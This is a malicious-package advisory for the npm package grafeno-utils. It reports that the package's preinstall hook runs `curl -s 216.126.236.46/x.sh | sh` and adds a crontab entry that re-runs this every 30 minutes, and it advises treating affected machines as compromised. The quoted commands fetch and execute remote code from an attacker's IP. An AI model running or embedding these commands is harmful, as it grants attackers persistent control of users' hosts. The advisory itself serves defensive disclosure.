VYPR

npm · Malicious package advisory

Malware

grafeno-utils

MAL-2026-15509

Malicious code in grafeno-utils (npm)

Details


---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad)
The package's package.json preinstall lifecycle hook uses child_process to run `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at `npm install` time. The same preinstall additionally appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.

Compromised versions (1)

  • 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.